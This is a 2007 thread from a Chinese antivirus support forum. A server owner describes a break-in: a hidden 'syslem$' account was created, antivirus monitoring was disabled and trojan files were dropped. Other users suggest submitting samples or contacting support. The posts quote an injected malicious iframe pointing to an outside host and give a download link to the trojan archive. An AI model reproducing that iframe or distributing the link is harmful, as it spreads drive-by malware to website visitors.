向瑞星提供一堆木马的压缩文件，请帮忙看看如何解决 - 瑞星卡卡安全论坛bbs.ikaka.com

瑞星卡卡安全论坛技术交流区 反病毒/反流氓软件论坛向瑞星提供一堆木马的压缩文件，请帮忙看看如何解决

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第五十次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

12

1 / 2 页

跳转页

向瑞星提供一堆木马的压缩文件，请帮忙看看如何解决

zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:	发表于： 2007-11-22 15:44 \| 只看楼主短消息资料字号：小中大 1楼向瑞星提供一堆木马的压缩文件，请帮忙看看如何解决最近我的服务器天天被攻击，刚才我刚好远程登录到服务器上，突然360安全卫士提示有个一文件正在装入，我装的是正版瑞星2008和防火墙，但这两个都无任何提示，我刚阻止完，就发现我的电脑用户加了一个叫"syslem$"的用户，然后我当然马上删除了，跟着，瑞星防火墙的监控就自动停止了，然后瑞星杀毒的监控伞也由绿色变成红色，我当然第一时间让它变回绿色，但没一会，又变成红色了，之后我又一次把它变回绿色，没一回，这次它由绿色变成黄色了，我再一次把它变成绿色，之后瑞星的两个监控就没有再变化了，后来我在C盘winnt/system发现了一堆文件，应该是刚才留下的，相信是木马，于是打包了，希望瑞星能帮帮我！我现在都不敢轻易离开服务器屏幕了…… 文件大小为1.42M的RAR，在这个地址可以下载：http://www.dtchong.com/ad/ak47.rar 留下的文件如图：附件: 文件名:96105720071122153252.jpg 下载次数:284 文件类型:image/pjpeg 文件大小: 上传时间:2007-11-22 15:44:05 描述: 2007-12-14 21:33:38
zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:	分享到：

zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:	发表于： 2007-11-22 15:48 \| 只看楼主短消息资料字号：小中大 2楼还有补充一下，每次被攻完，在我所有.htm .asp .aspx的源代码里面加上一堆<iframe src=http://www.e0shop.cn/k.htm width=50 height=1></iframe>,使我的网站无法完全正常
zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:

hotboy 社区嘉宾帖子:27670 注册: 2002-02-01 来自:东厂	发表于： 2007-11-22 16:15 \| 短消息资料字号：小中大 3楼怎么下载不了？
hotboy 社区嘉宾帖子:27670 注册: 2002-02-01 来自:东厂

千寻旅社区嘉宾帖子:2910 注册: 2007-08-17 来自:	发表于： 2007-11-22 16:20 \| 短消息资料字号：小中大 4楼把你的压缩包通过下边的地址提交瑞星病毒上报：http://up.rising.com.cn/webmail/uploadnew.htm
千寻旅社区嘉宾帖子:2910 注册: 2007-08-17 来自:

立秋凉了初生襁褓狮帖子:134 注册: 2007-09-17 来自:	发表于： 2007-11-22 22:35 \| 短消息资料字号：小中大 5楼楼主还是咨询一下瑞星客服或是瑞星在线专家门诊。 http://help.rising.com.cn/help/RSZX.html
立秋凉了初生襁褓狮帖子:134 注册: 2007-09-17 来自:

两个铁球叱咤花甲狮帖子:3107 注册: 2006-01-19 来自:新疆叶城	发表于： 2007-11-22 22:45 \| 短消息资料字号：小中大 6楼 360提示，瑞新的都不提示！这下安全360又帮瑞星丰富了病毒库。可瑞星从没见领情过，唉............................................. ps:瑞新2008的主动防御、HIPS干嘛去了？睡觉去了？干嘛还叫冤家“360”来“多管闲事”？！
两个铁球叱咤花甲狮帖子:3107 注册: 2006-01-19 来自:新疆叶城

我爱吃橘子健康舞勺狮帖子:277 注册: 2006-05-27 来自:	发表于： 2007-11-22 22:59 \| 短消息资料字号：小中大 7楼虽然不敢乱说,但至少现在还是没看到瑞星主动防御的表现.....
我爱吃橘子健康舞勺狮帖子:277 注册: 2006-05-27 来自:

zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:	发表于： 2007-11-23 09:19 \| 只看楼主短消息资料字号：小中大 8楼我昨天在发完此帖后，系统彻底完了，昨天下午就去了电信，结果系统不停重启，连安全模式也进不了，唉……
zselaine 初生襁褓狮帖子:5 注册: 2007-10-16 来自:

脚本小猫初生襁褓狮帖子:2 注册: 2007-12-13 来自:	发表于： 2007-12-13 09:31 \| 短消息资料字号：小中大 9楼我昨晚也遭受同样的攻击了，机房管理员打电话来说我的机器在发ARP欺骗包，可怜我水平有限，找了半天都找不到入侵所利用的漏洞。。。不知道楼主是如何解决的？现在只能暂时把服务器关了，可怜啊，希望有高手来指点一下。
脚本小猫初生襁褓狮帖子:2 注册: 2007-12-13 来自:

脚本小猫初生襁褓狮帖子:2 注册: 2007-12-13 来自:	发表于： 2007-12-13 17:14 \| 短消息资料字号：小中大 10楼顶啊。。。。。
脚本小猫初生襁褓狮帖子:2 注册: 2007-12-13 来自:

<<上一主题|下一主题>>

12

1 / 2 页

跳转页

页面顶部

Powered by Discuz!NT